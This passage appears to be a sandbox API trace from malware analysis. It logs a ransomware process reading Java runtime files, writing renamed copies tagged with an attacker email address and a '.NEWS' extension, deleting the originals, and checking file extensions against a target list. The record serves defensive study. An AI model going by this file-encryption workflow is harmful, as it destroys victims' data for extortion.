dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0161.736] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.736] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.736] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0161.737] GetLastError () returned 0x0 [0161.737] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x4d9c8, lpOverlapped=0x0) returned 1 [0161.753] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x4d9d0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x4d9d0, lpOverlapped=0x0) returned 1 [0162.122] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.122] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x100, lpOverlapped=0x0) returned 1 [0162.122] SetEndOfFile (hFile=0x4b8) returned 1 [0162.123] CloseHandle (hObject=0x4b8) returned 1 [0162.123] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.123] SetEndOfFile (hFile=0x474) returned 1 [0162.132] CloseHandle (hObject=0x474) returned 1 [0162.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0162.133] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansdemibold.ttf")) returned 1 [0162.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0162.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0162.134] lstrlenW (lpString=".doc") returned 4 [0162.134] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0162.134] lstrlenW (lpString=".docx") returned 5 [0162.134] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0162.134] lstrlenW (lpString=".pdf") returned 4 [0162.134] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0162.134] lstrlenW (lpString=".xls") returned 4 [0162.134] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0162.134] lstrlenW (lpString=".xlsx") returned 5 [0162.134] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0162.134] lstrlenW (lpString=".ppt") returned 4 [0162.134] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0162.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0162.134] lstrlenW (lpString=".zip") returned 4 [0162.134] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0162.134] lstrlenW (lpString=".rar") returned 4 [0162.134] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0162.134] lstrlenW (lpString=".bz2") returned 4 [0162.135] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0162.135] lstrlenW (lpString=".7z") returned 3 [0162.135] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0162.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0162.135] lstrlenW (lpString=".dbf") returned 4 [0162.135] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0162.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0162.135] lstrlenW (lpString=".1cd") returned 4 [0162.135] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0162.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0162.135] lstrlenW (lpString=".jpg") returned 4 [0162.135] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0162.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0162.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0162.135] lstrlenW (lpString=".doc") returned 4 [0162.135] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0162.135] lstrlenW (lpString=".docx") returned 5 [0162.135] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0162.135] lstrlenW (lpString=".pdf") returned 4 [0162.135] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0162.135] lstrlenW (lpString=".xls") returned 4 [0162.135] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0162.135] lstrlenW (lpString=".xlsx") returned 5 [0162.135] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0162.135] lstrlenW (lpString=".ppt") returned 4 [0162.135] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0162.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0162.135] lstrlenW (lpString=".zip") returned 4 [0162.136] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0162.136] lstrlenW (lpString=".rar") returned 4 [0162.136] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0162.136] lstrlenW (lpString=".bz2") returned 4 [0162.136] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0162.136] lstrlenW (lpString=".7z") returned 3 [0162.136] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0162.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0162.136] lstrlenW (lpString=".dbf") returned 4 [0162.136] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0162.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0162.136] lstrlenW (lpString=".1cd") returned 4 [0162.136] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0162.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansDemiBold.ttf") returned 67 [0162.136] lstrlenW (lpString=".jpg") returned 4 [0162.136] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0162.136] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0162.136] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27 [0162.136] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0162.137] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=242700) returned 1 [0162.137] CloseHandle (hObject=0x474) returned 1 [0162.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20 [0162.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0162.138] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0162.138] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.138] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.139] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0162.139] GetLastError () returned 0x0 [0162.139] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x3b40c, lpOverlapped=0x0) returned 1 [0162.153] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x3b410, lpOverlapped=0x0) returned 1 [0162.683] ReadFile (in: hFile=0x474, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.683] WriteFile (in: hFile=0x4b8, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x10a, lpOverlapped=0x0) returned 1 [0162.683] SetEndOfFile (hFile=0x4b8) returned 1 [0162.683] CloseHandle (hObject=0x4b8) returned 1 [0162.683] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.683] SetEndOfFile (hFile=0x474) returned 1 [0162.693] CloseHandle (hObject=0x474) returned 1 [0162.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0162.940] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1 [0163.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0163.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0163.191] lstrlenW (lpString=".doc") returned 4 [0163.191] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0163.192] lstrlenW (lpString=".docx") returned 5 [0163.192] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0163.192] lstrlenW (lpString=".pdf") returned 4 [0163.192] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0163.192] lstrlenW (lpString=".xls") returned 4 [0163.192] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0163.192] lstrlenW (lpString=".xlsx") returned 5 [0163.192] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0163.192] lstrlenW (lpString=".ppt") returned 4 [0163.192] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0163.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0163.192] lstrlenW (lpString=".zip") returned 4 [0163.192] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0163.192] lstrlenW (lpString=".rar") returned 4 [0163.192] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0163.192] lstrlenW (lpString=".bz2") returned 4 [0163.192] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0163.192] lstrlenW (lpString=".7z") returned 3 [0163.192] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0163.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0163.192] lstrlenW (lpString=".dbf") returned 4 [0163.192] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0163.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0163.192] lstrlenW (lpString=".1cd") returned 4 [0163.192] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0163.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0163.192] lstrlenW (lpString=".jpg") returned 4 [0163.192] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0163.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0163.192] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0163.192] lstrlenW (lpString=".doc") returned 4 [0163.192] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0163.192] lstrlenW (lpString=".docx") returned 5 [0163.192] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0163.192] lstrlenW (lpString=".pdf") returned 4 [0163.192] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0163.193] lstrlenW (lpString=".xls") returned 4 [0163.193] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0163.193] lstrlenW (lpString=".xlsx") returned 5 [0163.193] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0163.193] lstrlenW (lpString=".ppt") returned 4 [0163.193] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0163.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0163.193] lstrlenW (lpString=".zip") returned 4 [0163.193] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0163.193] lstrlenW (lpString=".rar") returned 4 [0163.193] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0163.193] lstrlenW (lpString=".bz2") returned 4 [0163.193] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0163.193] lstrlenW (lpString=".7z") returned 3 [0163.193] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0163.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0163.193] lstrlenW (lpString=".dbf") returned 4 [0163.193] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0163.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0163.193] lstrlenW (lpString=".1cd") returned 4 [0163.193] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0163.193] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0163.193] lstrlenW (lpString=".jpg") returned 4 [0163.193] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0163.193] lstrcmpiW (lpString1=".properties", lpString2=".NEWS") returned 1 [0163.193] lstrlenW (lpString="cursors.properties") returned 18 [0163.193] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0163.365] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=1280) returned 1 [0163.365] CloseHandle (hObject=0x4c0) returned 1 [0163.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0163.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.426] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0164.440] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.463] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.463] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0164.738] GetLastError () returned 0x0 [0164.738] ReadFile (in: hFile=0x53c, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x500, lpOverlapped=0x0) returned 1 [0164.749] WriteFile (in: hFile=0x51c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x510, lpOverlapped=0x0) returned 1 [0164.751] ReadFile (in: hFile=0x53c, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.751] WriteFile (in: hFile=0x51c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xf8, lpOverlapped=0x0) returned 1 [0164.751] SetEndOfFile (hFile=0x51c) returned 1 [0164.751] CloseHandle (hObject=0x51c) returned 1 [0164.751] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.751] SetEndOfFile (hFile=0x53c) returned 1 [0164.755] CloseHandle (hObject=0x53c) returned 1 [0164.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0164.756] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 1 [0164.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0164.757] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0164.757] lstrlenW (lpString=".doc") returned 4 [0164.757] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0164.757] lstrlenW (lpString=".docx") returned 5 [0164.757] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0164.757] lstrlenW (lpString=".pdf") returned 4 [0164.757] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0164.758] lstrlenW (lpString=".xls") returned 4 [0164.758] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0164.758] lstrlenW (lpString=".xlsx") returned 5 [0164.758] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0164.758] lstrlenW (lpString=".ppt") returned 4 [0164.758] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0164.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0164.758] lstrlenW (lpString=".zip") returned 4 [0164.758] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0164.758] lstrlenW (lpString=".rar") returned 4 [0164.758] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0164.758] lstrlenW (lpString=".bz2") returned 4 [0164.758] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0164.758] lstrlenW (lpString=".7z") returned 3 [0164.758] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0164.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0164.758] lstrlenW (lpString=".dbf") returned 4 [0164.758] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0164.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0164.758] lstrlenW (lpString=".1cd") returned 4 [0164.758] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0164.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0164.758] lstrlenW (lpString=".jpg") returned 4 [0164.758] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0164.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0164.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0164.758] lstrlenW (lpString=".doc") returned 4 [0164.758] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0164.758] lstrlenW (lpString=".docx") returned 5 [0164.758] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0164.758] lstrlenW (lpString=".pdf") returned 4 [0164.758] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0164.758] lstrlenW (lpString=".xls") returned 4 [0164.759] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0164.759] lstrlenW (lpString=".xlsx") returned 5 [0164.759] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0164.759] lstrlenW (lpString=".ppt") returned 4 [0164.759] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0164.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0164.759] lstrlenW (lpString=".zip") returned 4 [0164.759] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0164.759] lstrlenW (lpString=".rar") returned 4 [0164.759] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0164.759] lstrlenW (lpString=".bz2") returned 4 [0164.759] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0164.759] lstrlenW (lpString=".7z") returned 3 [0164.759] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0164.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0164.759] lstrlenW (lpString=".dbf") returned 4 [0164.759] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0164.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0164.759] lstrlenW (lpString=".1cd") returned 4 [0164.759] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0164.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties") returned 72 [0164.759] lstrlenW (lpString=".jpg") returned 4 [0164.759] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0164.882] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0164.882] lstrlenW (lpString="jfxswt.jar") returned 10 [0164.882] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.124] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=33932) returned 1 [0165.124] CloseHandle (hObject=0x4f4) returned 1 [0165.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0165.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0165.124] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0165.124] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0165.125] 